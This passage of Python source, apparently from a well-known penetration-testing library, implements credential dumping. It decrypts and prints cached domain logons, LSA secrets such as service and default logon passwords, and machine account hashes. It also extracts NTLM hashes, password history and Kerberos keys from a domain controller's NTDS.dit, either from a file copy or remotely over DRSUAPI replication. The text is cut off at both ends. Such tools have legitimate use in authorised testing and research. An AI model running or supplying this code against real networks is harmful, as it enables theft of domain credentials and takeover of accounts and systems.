| if values is None: 1086 | # No cache entries 1087 | return 1088 | try: 1089 | # Remove unnecesary value 1090 | values.remove('NL$Control') 1091 | except: 1092 | pass 1093 | 1094 | self.__getLSASecretKey() 1095 | self.__getNLKMSecret() 1096 | 1097 | for value in values: 1098 | logging.debug('Looking into %s' % value) 1099 | record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value))[1]) 1100 | if record['CH'] != 16 * '\x00': 1101 | if self.__vistaStyle is True: 1102 | plainText = self.__decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['CH']) 1103 | else: 1104 | plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['CH']) 1105 | pass 1106 | encHash = plainText[:0x10] 1107 | plainText = plainText[0x48:] 1108 | userName = plainText[:record['UserLength']].decode('utf-16le') 1109 | plainText = plainText[self.__pad(record['UserLength']):] 1110 | domain = plainText[:record['DomainNameLength']].decode('utf-16le') 1111 | plainText = plainText[self.__pad(record['DomainNameLength']):] 1112 | domainLong = plainText[:self.__pad(record['FullDomainLength'])].decode('utf-16le') 1113 | answer = "%s:%s:%s:%s:::" % (userName, hexlify(encHash), domainLong, domain) 1114 | self.__cachedItems.append(answer) 1115 | print answer 1116 | 1117 | def __printSecret(self, name, secretItem): 1118 | # Based on [MS-LSAD] section 3.1.1.4 1119 | 1120 | # First off, let's discard NULL secrets. 1121 | if len(secretItem) == 0: 1122 | logging.debug('Discarding secret %s, NULL Data' % name) 1123 | return 1124 | 1125 | # We might have secrets with zero 1126 | if secretItem.startswith('\x00\x00'): 1127 | logging.debug('Discarding secret %s, all zeros' % name) 1128 | return 1129 | 1130 | upperName = name.upper() 1131 | 1132 | logging.info('%s ' % name) 1133 | 1134 | secret = '' 1135 | 1136 | if upperName.startswith('_SC_'): 1137 | # Service name, a password might be there 1138 | # Let's first try to decode the secret 1139 | try: 1140 | strDecoded = secretItem.decode('utf-16le') 1141 | except: 1142 | pass 1143 | else: 1144 | # We have to get the account the service 1145 | # runs under 1146 | if self.__isRemote is True: 1147 | account = self.__remoteOps.getServiceAccount(name[4:]) 1148 | if account is None: 1149 | secret = '(Unknown User):' 1150 | else: 1151 | secret = "%s:" % account 1152 | else: 1153 | # We don't support getting this info for local targets at the moment 1154 | secret = '(Unknown User):' 1155 | secret += strDecoded 1156 | elif upperName.startswith('DEFAULTPASSWORD'): 1157 | # defaults password for winlogon 1158 | # Let's first try to decode the secret 1159 | try: 1160 | strDecoded = secretItem.decode('utf-16le') 1161 | except: 1162 | pass 1163 | else: 1164 | # We have to get the account this password is for 1165 | if self.__isRemote is True: 1166 | account = self.__remoteOps.getDefaultLoginAccount() 1167 | if account is None: 1168 | secret = '(Unknown User):' 1169 | else: 1170 | secret = "%s:" % account 1171 | else: 1172 | # We don't support getting this info for local targets at the moment 1173 | secret = '(Unknown User):' 1174 | secret += strDecoded 1175 | elif upperName.startswith('ASPNET_WP_PASSWORD'): 1176 | try: 1177 | strDecoded = secretItem.decode('utf-16le') 1178 | except: 1179 | pass 1180 | else: 1181 | secret = 'ASPNET: %s' % strDecoded 1182 | elif upperName.startswith('$MACHINE.ACC'): 1183 | # compute MD4 of the secret.. yes.. that is the nthash? :-o 1184 | md4 = MD4.new() 1185 | md4.update(secretItem) 1186 | if self.__isRemote is True: 1187 | machine, domain = self.__remoteOps.getMachineNameAndDomain() 1188 | secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest())) 1189 | else: 1190 | secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest())) 1191 | 1192 | if secret != '': 1193 | print secret 1194 | self.__secretItems.append(secret) 1195 | else: 1196 | # Default print, hexdump 1197 | self.__secretItems.append('%s:%s' % (name, hexlify(secretItem))) 1198 | hexdump(secretItem) 1199 | 1200 | def dumpSecrets(self): 1201 | if self.__securityFile is None: 1202 | # No SECURITY file provided 1203 | return 1204 | 1205 | logging.info('Dumping LSA Secrets') 1206 | 1207 | # Let's first see if there are cached entries 1208 | keys = self.enumKey('\\Policy\\Secrets') 1209 | if keys is None: 1210 | # No entries 1211 | return 1212 | try: 1213 | # Remove unnecesary value 1214 | keys.remove('NL$Control') 1215 | except: 1216 | pass 1217 | 1218 | if self.__LSAKey == '': 1219 | self.__getLSASecretKey() 1220 | 1221 | for key in keys: 1222 | logging.debug('Looking into %s' % key) 1223 | value = self.getValue('\\Policy\\Secrets\\%s\\CurrVal\\default' % key) 1224 | 1225 | if value is not None: 1226 | if self.__vistaStyle is True: 1227 | record = LSA_SECRET(value[1]) 1228 | tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32]) 1229 | plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:]) 1230 | record = LSA_SECRET_BLOB(plainText) 1231 | secret = record['Secret'] 1232 | else: 1233 | secret = self.__decryptSecret(self.__LSAKey, value[1]) 1234 | 1235 | self.__printSecret(key, secret) 1236 | 1237 | def exportSecrets(self, fileName): 1238 | if len(self.__secretItems) > 0: 1239 | fd = codecs.open(fileName+'.secrets','w+', encoding='utf-8') 1240 | for item in self.__secretItems: 1241 | fd.write(item+'\n') 1242 | fd.close() 1243 | 1244 | def exportCached(self, fileName): 1245 | if len(self.__cachedItems) > 0: 1246 | fd = codecs.open(fileName+'.cached','w+', encoding='utf-8') 1247 | for item in self.__cachedItems: 1248 | fd.write(item+'\n') 1249 | fd.close() 1250 | 1251 | 1252 | class NTDSHashes: 1253 | NAME_TO_INTERNAL = { 1254 | 'uSNCreated':'ATTq131091', 1255 | 'uSNChanged':'ATTq131192', 1256 | 'name':'ATTm3', 1257 | 'objectGUID':'ATTk589826', 1258 | 'objectSid':'ATTr589970', 1259 | 'userAccountControl':'ATTj589832', 1260 | 'primaryGroupID':'ATTj589922', 1261 | 'accountExpires':'ATTq589983', 1262 | 'logonCount':'ATTj589993', 1263 | 'sAMAccountName':'ATTm590045', 1264 | 'sAMAccountType':'ATTj590126', 1265 | 'lastLogonTimestamp':'ATTq589876', 1266 | 'userPrincipalName':'ATTm590480', 1267 | 'unicodePwd':'ATTk589914', 1268 | 'dBCSPwd':'ATTk589879', 1269 | 'ntPwdHistory':'ATTk589918', 1270 | 'lmPwdHistory':'ATTk589984', 1271 | 'pekList':'ATTk590689', 1272 | 'supplementalCredentials':'ATTk589949', 1273 | 'pwdLastSet':'ATTq589920', 1274 | } 1275 | 1276 | NAME_TO_ATTRTYP = { 1277 | 'userPrincipalName': 0x90290, 1278 | 'sAMAccountName': 0x900DD, 1279 | 'unicodePwd': 0x9005A, 1280 | 'dBCSPwd': 0x90037, 1281 | 'ntPwdHistory': 0x9005E, 1282 | 'lmPwdHistory': 0x900A0, 1283 | 'supplementalCredentials': 0x9007D, 1284 | 'objectSid': 0x90092, 1285 | } 1286 | 1287 | ATTRTYP_TO_ATTID = { 1288 | 'userPrincipalName': '1.2.840.113556.1.4.656', 1289 | 'sAMAccountName': '1.2.840.113556.1.4.221', 1290 | 'unicodePwd': '1.2.840.113556.1.4.90', 1291 | 'dBCSPwd': '1.2.840.113556.1.4.55', 1292 | 'ntPwdHistory': '1.2.840.113556.1.4.94', 1293 | 'lmPwdHistory': '1.2.840.113556.1.4.160', 1294 | 'supplementalCredentials': '1.2.840.113556.1.4.125', 1295 | 'objectSid': '1.2.840.113556.1.4.146', 1296 | 'pwdLastSet': '1.2.840.113556.1.4.96', 1297 | } 1298 | 1299 | KERBEROS_TYPE = { 1300 | 1:'dec-cbc-crc', 1301 | 3:'des-cbc-md5', 1302 | 17:'aes128-cts-hmac-sha1-96', 1303 | 18:'aes256-cts-hmac-sha1-96', 1304 | 0xffffff74:'rc4_hmac', 1305 | } 1306 | 1307 | INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.iteritems()) 1308 | 1309 | SAM_NORMAL_USER_ACCOUNT = 0x30000000 1310 | SAM_MACHINE_ACCOUNT = 0x30000001 1311 | SAM_TRUST_ACCOUNT = 0x30000002 1312 | 1313 | ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT) 1314 | 1315 | class PEK_KEY(Structure): 1316 | structure = ( 1317 | ('Header','8s=""'), 1318 | ('KeyMaterial','16s=""'), 1319 | ('EncryptedPek','52s=""'), 1320 | ) 1321 | 1322 | class CRYPTED_HASH(Structure): 1323 | structure = ( 1324 | ('Header','8s=""'), 1325 | ('KeyMaterial','16s=""'), 1326 | ('EncryptedHash','16s=""'), 1327 | ) 1328 | 1329 | class CRYPTED_HISTORY(Structure): 1330 | structure = ( 1331 | ('Header','8s=""'), 1332 | ('KeyMaterial','16s=""'), 1333 | ('EncryptedHash',':'), 1334 | ) 1335 | 1336 | class CRYPTED_BLOB(Structure): 1337 | structure = ( 1338 | ('Header','8s=""'), 1339 | ('KeyMaterial','16s=""'), 1340 | ('EncryptedHash',':'), 1341 | ) 1342 | 1343 | def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=True, remoteOps=None, 1344 | useVSSMethod=False, justNTLM=False, pwdLastSet=False): 1345 | self.__bootKey = bootKey 1346 | self.__NTDS = ntdsFile 1347 | self.__history = history 1348 | self.__noLMHash = noLMHash 1349 | self.__useVSSMethod = useVSSMethod 1350 | self.__remoteOps = remoteOps 1351 | self.__pwdLastSet = pwdLastSet 1352 | if self.__NTDS is not None: 1353 | self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote) 1354 | self.__cursor = self.__ESEDB.openTable('datatable') 1355 | self.__tmpUsers = list() 1356 | self.__PEK = None 1357 | self.__cryptoCommon = CryptoCommon() 1358 | self.__hashesFound = {} 1359 | self.__kerberosKeys = OrderedDict() 1360 | self.__justNTLM = justNTLM 1361 | 1362 | def __getPek(self): 1363 | logging.info('Searching for pekList, be patient') 1364 | pek = None 1365 | while True: 1366 | record = self.__ESEDB.getNextRow(self.__cursor) 1367 | if record is None: 1368 | break 1369 | elif record[self.NAME_TO_INTERNAL['pekList']] is not None: 1370 | pek = unhexlify(record[self.NAME_TO_INTERNAL['pekList']]) 1371 | break 1372 | elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES: 1373 | # Okey.. we found some users, but we're not yet ready to process them. 1374 | # Let's just store them in a temp list 1375 | self.__tmpUsers.append(record) 1376 | 1377 | if pek is not None: 1378 | encryptedPek = self.PEK_KEY(pek) 1379 | md5 = hashlib.new('md5') 1380 | md5.update(self.__bootKey) 1381 | for i in range(1000): 1382 | md5.update(encryptedPek['KeyMaterial']) 1383 | tmpKey = md5.digest() 1384 | rc4 = ARC4.new(tmpKey) 1385 | plainText = rc4.encrypt(encryptedPek['EncryptedPek']) 1386 | self.__PEK = plainText[36:] 1387 | 1388 | def __removeRC4Layer(self, cryptedHash): 1389 | md5 = hashlib.new('md5') 1390 | md5.update(self.__PEK) 1391 | md5.update(cryptedHash['KeyMaterial']) 1392 | tmpKey = md5.digest() 1393 | rc4 = ARC4.new(tmpKey) 1394 | plainText = rc4.encrypt(cryptedHash['EncryptedHash']) 1395 | 1396 | return plainText 1397 | 1398 | def __removeDESLayer(self, cryptedHash, rid): 1399 | Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid)) 1400 | 1401 | Crypt1 = DES.new(Key1, DES.MODE_ECB) 1402 | Crypt2 = DES.new(Key2, DES.MODE_ECB) 1403 | 1404 | decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:]) 1405 | 1406 | return decryptedHash 1407 | 1408 | def __fileTimeToDateTime(self, t): 1409 | t -= 116444736000000000 1410 | t /= 10000000 1411 | if t < 0: 1412 | return 'never' 1413 | else: 1414 | dt = datetime.fromtimestamp(t) 1415 | return dt.strftime("%Y-%m-%d %H:%M") 1416 | 1417 | def __decryptSupplementalInfo(self, record, prefixTable=None): 1418 | # This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures 1419 | haveInfo = False 1420 | if self.__useVSSMethod is True: 1421 | if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None: 1422 | if len(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) > 24: 1423 | if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None: 1424 | domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1] 1425 | userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']]) 1426 | else: 1427 | userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']] 1428 | cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) 1429 | plainText = self.__removeRC4Layer(cipherText) 1430 | haveInfo = True 1431 | else: 1432 | domain = None 1433 | userName = None 1434 | for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']: 1435 | try: 1436 | attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp']) 1437 | LOOKUP_TABLE = self.ATTRTYP_TO_ATTID 1438 | except Exception, e: 1439 | logging.debug('Failed to execute OidFromAttid with error %s' % e) 1440 | # Fallbacking to fixed table and hope for the best 1441 | attId = attr['attrTyp'] 1442 | LOOKUP_TABLE = self.NAME_TO_ATTRTYP 1443 | 1444 | if attId == LOOKUP_TABLE['userPrincipalName']: 1445 | if attr['AttrVal']['valCount'] > 0: 1446 | try: 1447 | domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1] 1448 | except: 1449 | domain = None 1450 | else: 1451 | domain = None 1452 | elif attId == LOOKUP_TABLE['sAMAccountName']: 1453 | if attr['AttrVal']['valCount'] > 0: 1454 | try: 1455 | userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le') 1456 | except: 1457 | logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1]) 1458 | userName = 'unknown' 1459 | else: 1460 | logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1]) 1461 | userName = 'unknown' 1462 | if attId == LOOKUP_TABLE['supplementalCredentials']: 1463 | if attr['AttrVal']['valCount'] > 0: 1464 | blob = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) 1465 | plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob) 1466 | if len(plainText) > 24: 1467 | haveInfo = True 1468 | if domain is not None: 1469 | userName = '%s\\%s' % (domain, userName) 1470 | 1471 | if haveInfo is True: 1472 | try: 1473 | userProperties = samr.USER_PROPERTIES(plainText) 1474 | except: 1475 | # On some old w2k3 there might be user properties that don't 1476 | # match [MS-SAMR] structure, discarding them 1477 | return 1478 | propertiesData = userProperties['UserProperties'] 1479 | for propertyCount in range(userProperties['PropertyCount']): 1480 | userProperty = samr.USER_PROPERTY(propertiesData) 1481 | propertiesData = propertiesData[len(userProperty):] 1482 | # For now, we will only process Newer Kerberos Keys. 1483 | if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys': 1484 | propertyValueBuffer = unhexlify(userProperty['PropertyValue']) 1485 | kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer) 1486 | data = kerbStoredCredentialNew['Buffer'] 1487 | for credential in range(kerbStoredCredentialNew['CredentialCount']): 1488 | keyDataNew = samr.KERB_KEY_DATA_NEW(data) 1489 | data = data[len(keyDataNew):] 1490 | keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']] 1491 | 1492 | if self.KERBEROS_TYPE.has_key(keyDataNew['KeyType']): 1493 | answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue)) 1494 | else: 1495 | answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue)) 1496 | # We're just storing the keys, not printing them, to make the output more readable 1497 | # This is kind of ugly... but it's what I came up with tonight to get an ordered 1498 | # set :P. Better ideas welcomed ;) 1499 | self.__kerberosKeys[answer] = None 1500 | 1501 | def __decryptHash(self, record, rid=None, prefixTable=None): 1502 | if self.__useVSSMethod is True: 1503 | logging.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']]) 1504 | 1505 | sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']])) 1506 | rid = sid.formatCanonical().split('-')[-1] 1507 | 1508 | if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None: 1509 | encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']])) 1510 | tmpLMHash = self.__removeRC4Layer(encryptedLMHash) 1511 | LMHash = self.__removeDESLayer(tmpLMHash, rid) 1512 | else: 1513 | LMHash = ntlm.LMOWFv1('', '') 1514 | 1515 | if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None: 1516 | encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']])) 1517 | tmpNTHash = self.__removeRC4Layer(encryptedNTHash) 1518 | NTHash = self.__removeDESLayer(tmpNTHash, rid) 1519 | else: 1520 | NTHash = ntlm.NTOWFv1('', '') 1521 | 1522 | if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None: 1523 | domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1] 1524 | userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']]) 1525 | else: 1526 | userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']] 1527 | 1528 | if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None: 1529 | pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']]) 1530 | else: 1531 | pwdLastSet = 'N/A' 1532 | 1533 | answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash)) 1534 | self.__hashesFound[unhexlify(record[self.NAME_TO_INTERNAL['objectSid']])] = answer 1535 | if self.__pwdLastSet is True: 1536 | answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet) 1537 | print answer 1538 | 1539 | if self.__history: 1540 | LMHistory = [] 1541 | NTHistory = [] 1542 | if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None: 1543 | encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']])) 1544 | tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory) 1545 | for i in range(0, len(tmpLMHistory) / 16): 1546 | LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid) 1547 | LMHistory.append(LMHash) 1548 | 1549 | if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None: 1550 | encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']])) 1551 | tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory) 1552 | for i in range(0, len(tmpNTHistory) / 16): 1553 | NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid) 1554 | NTHistory.append(NTHash) 1555 | 1556 | for i, (LMHash, NTHash) in enumerate( 1557 | map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])): 1558 | if self.__noLMHash: 1559 | lmhash = hexlify(ntlm.LMOWFv1('', '')) 1560 | else: 1561 | lmhash = hexlify(LMHash) 1562 | 1563 | answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHash)) 1564 | self.__hashesFound[unhexlify(record[self.NAME_TO_INTERNAL['objectSid']]) + str(i)] = answer 1565 | print answer 1566 | else: 1567 | logging.debug('Decrypting hash for user: %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1]) 1568 | domain = None 1569 | if self.__history: 1570 | LMHistory = [] 1571 | NTHistory = [] 1572 | for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']: 1573 | try: 1574 | attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp']) 1575 | LOOKUP_TABLE = self.ATTRTYP_TO_ATTID 1576 | except Exception, e: 1577 | logging.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e) 1578 | # Fallbacking to fixed table and hope for the best 1579 | attId = attr['attrTyp'] 1580 | LOOKUP_TABLE = self.NAME_TO_ATTRTYP 1581 | 1582 | if attId == LOOKUP_TABLE['dBCSPwd']: 1583 | if attr['AttrVal']['valCount'] > 0: 1584 | encrypteddBCSPwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) 1585 | encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd) 1586 | LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid) 1587 | else: 1588 | LMHash = ntlm.LMOWFv1('', '') 1589 | elif attId == LOOKUP_TABLE['unicodePwd']: 1590 | if attr['AttrVal']['valCount'] > 0: 1591 | encryptedUnicodePwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) 1592 | encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd) 1593 | NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid) 1594 | else: 1595 | NTHash = ntlm.NTOWFv1('', '') 1596 | elif attId == LOOKUP_TABLE['userPrincipalName']: 1597 | if attr['AttrVal']['valCount'] > 0: 1598 | try: 1599 | domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1] 1600 | except: 1601 | domain = None 1602 | else: 1603 | domain = None 1604 | elif attId == LOOKUP_TABLE['sAMAccountName']: 1605 | if attr['AttrVal']['valCount'] > 0: 1606 | try: 1607 | userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le') 1608 | except: 1609 | logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1]) 1610 | userName = 'unknown' 1611 | else: 1612 | logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1]) 1613 | userName = 'unknown' 1614 | elif attId == LOOKUP_TABLE['objectSid']: 1615 | if attr['AttrVal']['valCount'] > 0: 1616 | objectSid = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) 1617 | else: 1618 | logging.error('Cannot get objectSid for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1]) 1619 | objectSid = rid 1620 | elif attId == LOOKUP_TABLE['pwdLastSet']: 1621 | if attr['AttrVal']['valCount'] > 0: 1622 | try: 1623 | pwdLastSet = self.__fileTimeToDateTime(unpack('<Q', ''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0]) 1624 | except: 1625 | logging.error('Cannot get pwdLastSet for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1]) 1626 | pwdLastSet = 'N/A' 1627 | 1628 | if self.__history: 1629 | if attId == LOOKUP_TABLE['lmPwdHistory']: 1630 | if attr['AttrVal']['valCount'] > 0: 1631 | encryptedLMHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) 1632 | tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory) 1633 | for i in range(0, len(tmpLMHistory) / 16): 1634 | LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid) 1635 | LMHistory.append(LMHashHistory) 1636 | else: 1637 | logging.debug('No lmPwdHistory for user %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1]) 1638 | elif attId == LOOKUP_TABLE['ntPwdHistory']: 1639 | if attr['AttrVal']['valCount'] > 0: 1640 | encryptedNTHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) 1641 | tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory) 1642 | for i in range(0, len(tmpNTHistory) / 16): 1643 | NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid) 1644 | NTHistory.append(NTHashHistory) 1645 | else: 1646 | logging.debug('No ntPwdHistory for user %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1]) 1647 | 1648 | if domain is not None: 1649 | userName = '%s\\%s' % (domain, userName) 1650 | 1651 | answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash)) 1652 | self.__hashesFound[objectSid] = answer 1653 | if self.__pwdLastSet is True: 1654 | answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet) 1655 | print answer 1656 | 1657 | if self.__history: 1658 | for i, (LMHashHistory, NTHashHistory) in enumerate( 1659 | map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])): 1660 | if self.__noLMHash: 1661 | lmhash = hexlify(ntlm.LMOWFv1('', '')) 1662 | else: 1663 | lmhash = hexlify(LMHashHistory) 1664 | 1665 | answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHashHistory)) 1666 | self.__hashesFound[objectSid + str(i)] = answer 1667 | print answer 1668 | 1669 | def dump(self): 1670 | if self.__useVSSMethod is True: 1671 | if self.__NTDS is None: 1672 | # No NTDS.dit file provided and were asked to use VSS 1673 | return 1674 | else: 1675 | if self.__NTDS is None: 1676 | # DRSUAPI method, checking whether target is a DC 1677 | try: 1678 | self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1]) 1679 | except: 1680 | # Target's not a DC 1681 | return 1682 | 1683 | logging.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)') 1684 | if self.__useVSSMethod: 1685 | # We start getting rows from the table aiming at reaching 1686 | # the pekList. If we find users records we stored them 1687 | # in a temp list for later process. 1688 | self.__getPek() 1689 | if self.__PEK is not None: 1690 | logging.info('Pek found and decrypted: 0x%s' % hexlify(self.__PEK)) 1691 | logging.info('Reading and decrypting hashes from %s ' % self.__NTDS) 1692 | # First of all, if we have users already cached, let's decrypt their hashes 1693 | for record in self.__tmpUsers: 1694 | try: 1695 | self.__decryptHash(record) 1696 | if self.__justNTLM is False: 1697 | self.__decryptSupplementalInfo(record) 1698 | except Exception, e: 1699 | # import traceback 1700 | # print traceback.print_exc() 1701 | try: 1702 | logging.error( 1703 | "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']]) 1704 | logging.error(str(e)) 1705 | pass 1706 | except: 1707 | logging.error("Error while processing row!") 1708 | logging.error(str(e)) 1709 | pass 1710 | 1711 | # Now let's keep moving through the NTDS file and decrypting what we find 1712 | while True: 1713 | try: 1714 | record = self.__ESEDB.getNextRow(self.__cursor) 1715 | except: 1716 | logging.error('Error while calling getNextRow(), trying the next one') 1717 | continue 1718 | 1719 | if record is None: 1720 | break 1721 | try: 1722 | if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES: 1723 | self.__decryptHash(record) 1724 | if self.__justNTLM is False: 1725 | self.__decryptSupplementalInfo(record) 1726 | except Exception, e: 1727 | # import traceback 1728 | # print traceback.print_exc() 1729 | try: 1730 | logging.error( 1731 | "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']]) 1732 | logging.error(str(e)) 1733 | pass 1734 | except: 1735 | logging.error("Error while processing row!") 1736 | logging.error(str(e)) 1737 | pass 1738 | else: 1739 | logging.info('Using the DRSUAPI method to get NTDS.DIT secrets') 1740 | status = STATUS_MORE_ENTRIES 1741 | enumerationContext = 0 1742 | while status == STATUS_MORE_ENTRIES: 1743 | resp = self.__remoteOps.getDomainUsers(enumerationContext) 1744 | 1745 | for user in resp['Buffer']['Buffer']: 1746 | userName = user['Name'] 1747 | 1748 | userSid = self.__remoteOps.ridToSid(user['RelativeId']) 1749 | 1750 | # Let's crack the user sid into DS_FQDN_1779_NAME 1751 | # In theory I shouldn't need to crack the sid. Instead 1752 | # I could use it when calling DRSGetNCChanges inside the DSNAME parameter. 1753 | # For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so. 1754 | crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME, drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name = userSid.formatCanonical()) 1755 | 1756 | if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1: 1757 | userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1]) 1758 | #userRecord.dump() 1759 | if userRecord['pmsgOut']['V6']['cNumObjects'] == 0: 1760 | raise Exception('DRSGetNCChanges didn\'t return any object!') 1761 | else: 1762 | logging.warning('DRSCrackNames returned %d items for user %s, skipping' %(crackedName['pmsgOut']['V1']['pResult']['cItems'], userName)) 1763 | try: 1764 | self.__decryptHash(userRecord, user['RelativeId'], userRecord['pmsgOut']['V6']['PrefixTableSrc']['pPrefixEntry']) 1765 | if self.__justNTLM is False: 1766 | self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut']['V6']['PrefixTableSrc']['pPrefixEntry']) 1767 | except Exception, e: 1768 | #import traceback 1769 | #traceback.print_exc() 1770 | logging.error("Error while processing user!") 1771 | logging.error(str(e)) 1772 | 1773 | enumerationContext = resp['EnumerationContext'] 1774 | status = resp['ErrorCode'] 1775 | 1776 | # Now we'll print the Kerberos keys. So we don't mix things up in the output. 1777 | if len(self.__kerberosKeys) > 0: 1778 | if self.__useVSSMethod is True: 1779 | logging.info('Kerberos keys from %s ' % self.__NTDS) 1780 | else: 1781 | logging.info('Kerberos keys grabbed') 1782 | 1783 | for itemKey in self.__kerberosKeys.keys(): 1784 | print itemKey 1785 | 1786 | def 